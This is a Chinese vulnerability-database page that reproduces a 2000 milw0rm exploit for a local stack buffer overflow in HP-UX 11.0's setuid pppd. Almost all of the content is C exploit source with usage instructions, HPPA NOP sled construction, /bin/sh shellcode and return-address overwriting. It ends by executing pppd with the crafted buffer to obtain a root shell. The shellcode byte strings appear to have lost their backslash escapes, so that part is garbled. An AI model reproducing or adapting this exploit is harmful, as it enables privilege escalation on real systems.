HP-UX 11.0 – ‘pppd’ Local Stack Buffer Overflow
漏洞ID | 1053486 | 漏洞类型 | |
发布时间 | 2000-11-20 | 更新时间 | 2000-11-20 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | HP-UX | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/* Copyright (c) 2000 ADM */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
/* */
/* Title: HP-UX pppd */
/* Tested under: HP-UX 11.0 */
/* By: K2 */
/* Use: gcc -o pppd hp-pppd.c ; ./pppd */
/* (more hp to come :) */
/* */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 22000
#define STACK_OFFSET 8042
#define EXTRA 3000
#define HPPA_NOP 0x3902800b /* weirdo nop */
u_char hppa_shellcode[] =
"xe8x3fx1fxfdx08x21x02x80x34x02x01x02x08x41x04x02x60x40"
"x01x62xb4x5ax01x54x0bx39x02x99x0bx18x02x98x34x16x04xbe"
"x20x20x08x01xe4x20xe0x08x96xd6x05x34xdexadxcaxfe/bin/shxffxff";
u_long get_sp(void)
{
__asm__("copy %sp,%ret0 n");
}
int main(int argc, char *argv[])
{
char buf[BUF_LENGTH + 8];
unsigned long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(hppa_shellcode),dso=STACK_OFFSET,xtra=EXTRA;
if(argc > 1) dso+=atoi(argv[1]);
if(argc > 2) xtra+=atoi(argv[2]);
long_p = (u_long *) buf;
for (i = 0; i < (BUF_LENGTH - code_length - xtra) / sizeof(u_long); i++)
*long_p++ = HPPA_NOP;
char_p = (u_char *) long_p;
char_p--; /* weirdness alighnment issue */
for (i = 0; i < code_length; i++)
*char_p++ = hppa_shellcode[i];
targ_addr = get_sp() - dso;
for (i = 0; i < xtra /4; i++)
{
*char_p++ =(targ_addr>>24)&255;
*char_p++ =(targ_addr>>16)&255;
*char_p++ =(targ_addr>>8)&255;
*char_p++ =(targ_addr)&255;
}
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]n",targ_addr,strlen(buf),xtra,dso);
execl("/usr/bin/pppd","pppd", buf,(char *) 0);
perror("execl failed");
return(-1);
}
// milw0rm.com [2000-11-20]
相关推荐: IRIX LicenseManager LICENSEMGR_FILE_ROOT Vulnerability
IRIX LicenseManager LICENSEMGR_FILE_ROOT Vulnerability 漏洞ID 1105157 漏洞类型 Access Validation Error 发布时间 1996-11-22 更新时间 1996-11-22 C…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666